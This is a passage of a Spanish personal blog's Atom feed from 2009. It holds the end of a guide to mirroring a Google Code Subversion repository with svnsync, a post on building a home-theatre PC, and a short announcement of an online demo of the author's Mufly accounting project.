/&gt;&lt;pre&gt;ivan@doraemon:~$ svnsync init --username usuariogoogle file:///home/ivan/svn_mufly_mirror https://mufly.googlecode.com/svn&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;A partir de aquí sólo hay que actualizar los cambios.&lt;br /&gt;&lt;pre&gt;ivan@doraemon:~$ svnsync sync --username lopez.ivan file:///home/ivan/svn_mufly_mirror&lt;br /&gt;Transmitting file data .................&lt;br /&gt;Committed revision 101.&lt;br /&gt;Copied properties for revision 101.&lt;/pre&gt;&lt;/li&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para comprobar que el repositorio es funcional lo podemos configurar en Eclipse (por ejemplo) y probar a navegar por él. Las carpetas se despliegan de manera automática mientras que en el remoto tardan unos segundos.&lt;br /&gt;&lt;br&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SoQ5P44-X9I/AAAAAAAAA00/oZaBHYnAkVg/s1600-h/svn.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 219px; height: 400px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SoQ5P44-X9I/AAAAAAAAA00/oZaBHYnAkVg/s400/svn.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5369479600864649170" /&gt;&lt;/a&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=ZA485MH3PQk:AZzn3SgGJvA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=ZA485MH3PQk:AZzn3SgGJvA:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=ZA485MH3PQk:AZzn3SgGJvA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=ZA485MH3PQk:AZzn3SgGJvA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/ZA485MH3PQk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3693897040991442479/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/08/sincronizar-el-repositorio-subversion.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3693897040991442479?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3693897040991442479?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/ZA485MH3PQk/sincronizar-el-repositorio-subversion.html" title="Sincronizar el repositorio subversion de Google Code con uno local" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SoQ5P44-X9I/AAAAAAAAA00/oZaBHYnAkVg/s72-c/svn.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/08/sincronizar-el-repositorio-subversion.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UDQH47cSp7ImA9WxFUGUQ.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3209796577937487447</id><published>2009-07-29T16:55:00.000+02:00</published><updated>2010-07-01T16:41:11.009+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-01T16:41:11.009+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tecnología" /><category scheme="http://www.blogger.com/atom/ns#" term="Hardware" /><category scheme="http://www.blogger.com/atom/ns#" term="HTPC" /><title>HTPC para el salón</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;En casa, tanto mi mujer como yo somos muy aficionados a las series. Desde hace ya varios años no vemos la tele. Por las noches, después de acostar a &lt;a href="http://judithlopezb.blogspot.com/"&gt;Judith&lt;/a&gt; nos ponemos uno o dos capítulos de alguna de las series que seguimos (que son muchas) y disfrutamos de los contenidos que nos gustan cuando nosotros queremos y sin cortes publicitarios. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace ya algún tiempo que conté cómo tengo configurada &lt;a href="http://lopezivan.blogspot.com/2007/02/d-link-linksys.html"&gt;la red de casa&lt;/a&gt;. Hasta ahora, el proceso que seguía un capítulo era el siguiente, lo descargaba del emule con el portatil que tengo dedicado para ello, luego lo copiaba a mi sobremesa, de ahí lo grababa en dvd's reescribibles y me lo llevaba al reproductor de dvd-divx del salón. Como os podéis imaginar es una tarea muy pesada y en muchas ocasiones, grababa unos cuantos capítulos, pero justo algun otro que no había grabado era el que le apetecía ver a mi mujer :-P.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así, después de mirar y convencer a mi mujer me decidí a montar un &lt;a href="http://es.wikipedia.org/wiki/HTPC"&gt;HTPC&lt;/a&gt;. Lo primero que tengo que aclarar es que el equipo lo monté a finales de enero (pero lo he ido dejando y hasta ahora no he sacado hueco para el post), por lo que ahora mismo puede que hubiera elegido otras opciones que no estaban disponibles hace 6 meses. Veamos lo que elegí:&lt;br /&gt;&lt;center&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmsaNlD2T6I/AAAAAAAAAxA/c7hddx8y90Y/s1600-h/DSCN9945.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmsaNlD2T6I/AAAAAAAAAxA/c7hddx8y90Y/s320/DSCN9945.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362408601903583138" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;li&gt;Micro AMD Athlon 64 4850e: Aunque soy más de intel, en esta ocasión he elegido AMD. En concreto ese micro porque es especial para htpcs ya que sólo disipa 45W, por lo que podremos tenerlo fresquito sin muchos ventiladores.&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SmskompErCI/AAAAAAAAAxk/xnycCd1pcTw/s1600-h/DSCN9955.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SmskompErCI/AAAAAAAAAxk/xnycCd1pcTw/s320/DSCN9955.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362420061300894754" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmskpPNAeoI/AAAAAAAAAxs/jQdlVqIp_jw/s1600-h/DSCN9958.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmskpPNAeoI/AAAAAAAAAxs/jQdlVqIp_jw/s320/DSCN9958.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362420072189033090" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Placa base Gigabyte MA78GM-DS2H: Esta placa estaba en casi todas las configuraciones de htpc que leía en los foros. Es una placa muy completa y tiene las salidas que yo estaba buscando: HDMI para conectarla a la tele y salida digital de audio para conectarla al amplificador. Además lleva la tarjeta gráfica integrada (ATI HD3200) que permite aceleración de contenido en alta definición por hardware.&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SmsnTqxdpEI/AAAAAAAAAyY/5HEgQZECPOw/s1600-h/DSCN9950.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SmsnTqxdpEI/AAAAAAAAAyY/5HEgQZECPOw/s320/DSCN9950.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362423000167457858" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Smsl_UgtM8I/AAAAAAAAAx8/clv5lUMW0QY/s1600-h/DSCN9952.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Smsl_UgtM8I/AAAAAAAAAx8/clv5lUMW0QY/s320/DSCN9952.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362421551082582978" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/Smsl_tR1xuI/AAAAAAAAAyE/9t0Bu0SMUis/s1600-h/DSCN9953.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/Smsl_tR1xuI/AAAAAAAAAyE/9t0Bu0SMUis/s320/DSCN9953.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362421557731116770" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmsmAK68Z0I/AAAAAAAAAyM/w05SL16vIcc/s1600-h/DSCN9954.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmsmAK68Z0I/AAAAAAAAAyM/w05SL16vIcc/s320/DSCN9954.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362421565688145730" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Memoria: 2 GB en dos módulos Kingston. Para el uso que le voy a dar al htpc no necesitaba 4.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Disco duro: Seagate de 640 GB. Creo que los hay más silenciosos, pero en mi caso no lo aprecio y éste estaba a buen precio. Por cierto, ya lo tengo casi lleno :-P&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Fuente de alimentación Tacens Radix II de 420W totalmente modular, así sólo conecto los cables de alimentación que necesito.&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Smsn-v9QFtI/AAAAAAAAAyg/yW29t-jMLxI/s1600-h/DSCN9963.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 320px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Smsn-v9QFtI/AAAAAAAAAyg/yW29t-jMLxI/s320/DSCN9963.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362423740293453522" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Smsn-0H7aRI/AAAAAAAAAyo/xWXCIQ6jizY/s1600-h/DSCN9964.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 320px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Smsn-0H7aRI/AAAAAAAAAyo/xWXCIQ6jizY/s320/DSCN9964.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362423741411977490" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja SilverStone Grandia GD02B: Con la caja tuve un problema y es que mi mueble sólo tiene 40 centímetros de profundidad, por lo que la mayoría de las cajas del mercado no me servían. Al final me quedé con esta aunque me subió un poco de precio, pero no tenía muchas más alternativas. Al menos la caja cuesta lo que vale: es toda de aluminio, con un tacto muy agradable y unos acabados de gran calidad. Además tiene esos "pequeños" detalles que la hacen una gran caja como las gomas en los agujeros del disco duro para absorber las vibraciones y que haya el menor ruido posible.&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/SmspxARRDeI/AAAAAAAAAyw/Nh_jc6CYhrk/s1600-h/DSCN9919.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/SmspxARRDeI/AAAAAAAAAyw/Nh_jc6CYhrk/s320/DSCN9919.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362425703177457122" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SmspxYVuWsI/AAAAAAAAAy4/ST_LsVeCCUA/s1600-h/DSCN9960.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SmspxYVuWsI/AAAAAAAAAy4/ST_LsVeCCUA/s320/DSCN9960.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362425709638605506" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SmspxoVZajI/AAAAAAAAAzA/dQzcFkqjoC4/s1600-h/DSCN9961.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SmspxoVZajI/AAAAAAAAAzA/dQzcFkqjoC4/s320/DSCN9961.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362425713932200498" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/Smspx0SVUlI/AAAAAAAAAzI/XD3YjrlTa5k/s1600-h/DSCN9962.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/Smspx0SVUlI/AAAAAAAAAzI/XD3YjrlTa5k/s320/DSCN9962.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5362425717140574802" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Grabadora de DVD: Aunque no utilizo mucho el dvd porque todo es contenido descargado, sí que viene bien en ocasiones cuando alguien te deja un dvd o para alguna peli de dibujos de Judith (por supuesto copias de seguridad :-P). Elegí la grabadora LG más barata que encontré, no necesitaba nada mejor :-P.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Teclado y ratón inalámbricos: Como es algo que se va a utilizar muy poco: para buscar los subtitulos, comenzar la reproducción y poco más, elegí uno de una marca poco conocida pero muy económico. Al día siguiente lo tuve que devolver porque el alcance era nulo. Lo cambié por un pack Logitech Cordless Desktop EX110 que tiene un alcance realmente impresionante: me fui a dos habitaciones de distancia del salón y seguía funcionando!. Además el consumo de pilas es muy bueno. En estos 6 meses las pilas del teclado las he cambiado una vez y las del ratón todavía no.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Capturadora de televisión: No he puesto ninguna. El HTPC sustituye en el salón a un video y al reproductor de dvd-divx. Hablando con mi mujer, me preguntó qué hacíamos si queríamos grabar algo de la tele. Mi respuesta fue que llevábamos años (literalmente) sin grabar nada, así que al final nos ahorramos la capturadora.&lt;/li&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Y respecto al hardware eso es todo. Como sistema operativo instalé Windows XP y dejé una partición para instalar Linux, aunque para ser sincero todavía no lo he hecho por falta de tiempo. Hace unos meses probé un live-cd de Ubuntu 8.10 y no conseguí sacar el audio en 5.1 por el amplificador. En cuanto pueda pruebo con la versión 9.04 a ver qué tal.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como conclusiones finales diré que estamos encantados con el cambio. Sigo descargando todo en el portatil dedicado al emule y por las noches cuando nos ponemos a ver algo lo grabo directamente al disco duro del htpc. Así siempre tenemos disponible todo lo descargado para elegir. Hemos ganado en calidad de vida...&lt;br /&gt;&lt;br /&gt;P.D: Los más observadores se habrán dado cuenta de que en la foto de todos los componentes hay un disipador Scythe Ninja Mini. Lo compré para sustituir al disipador de serie porque pensaba que el htpc estaba muy encajonado y no iba a refrigerar bien. El problema fue que no entraba en la caja y al final lo devolví. Además, he podido comprobar en todo este tiempo que las temperaturas se mantiene en unos márgenes muy razonables.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=OiNrHhXVPVY:fOfotglNxMo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=OiNrHhXVPVY:fOfotglNxMo:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=OiNrHhXVPVY:fOfotglNxMo:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=OiNrHhXVPVY:fOfotglNxMo:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/OiNrHhXVPVY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3209796577937487447/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html#comment-form" title="17 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3209796577937487447?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3209796577937487447?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/OiNrHhXVPVY/htpc-para-el-salon.html" title="HTPC para el salón" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SmsaNlD2T6I/AAAAAAAAAxA/c7hddx8y90Y/s72-c/DSCN9945.JPG" height="72" width="72" /><thr:total>17</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04DQX47eSp7ImA9WxJbFU4.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-641521705631545535</id><published>2009-07-25T16:13:00.002+02:00</published><updated>2009-07-25T16:26:10.001+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-25T16:26:10.001+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="GWT" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><title>Demo de Mufly</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace unos &lt;a href="http://lopezivan.blogspot.com/2009/05/mufly-contabilidad-domestica-programada.html"&gt;meses os presentaba&lt;/a&gt; el &lt;a href="http://code.google.com/p/mufly/"&gt;Proyecto Mufly&lt;/a&gt;. El tiempo va pasando y sigo implementando nuevas funcionalidades y mejorándolo poco a poco. Hace una semana publiqué en &lt;a href="http://mufly-project.blogspot.com"&gt;el blog del proyecto&lt;/a&gt; un post en el que contaba que he puesto online una demo para que todo el mundo lo quiera probar. Tenéis toda la información en &lt;a href="http://mufly-project.blogspot.com/2009/07/mufly-live-demo-demo-de-mufly.html"&gt;este post&lt;/a&gt;.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como este blog tiene algo más de difusión que el blog del proyecto, os pongo aquí la url para el que quiera pueda probar Mufly y darme su opinión:&lt;br /&gt;&lt;b&gt;&lt;a href="http://mufly.dyndns.org:8080/"&gt;http://mufly.dyndns.org:8080/&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Espero comentarios...&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=D4VbF5rlUAs:ry4qGT5w_J8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=D4VbF5rlUAs:ry4qGT5w_J8:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=D4VbF5rlUAs:ry4qGT5w_J8:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=D4VbF5rlUAs:ry4qGT5w_J8:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/D4VbF5rlUAs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/641521705631545535/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/07/demo-de-mufly.html#comment-form" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/641521705631545535?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/641521705631545535?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/D4VbF5rlUAs/demo-de-mufly.html" title="Demo de Mufly" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>2</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/07/demo-de-mufly.html</feedburner:origLink></entry></feed>
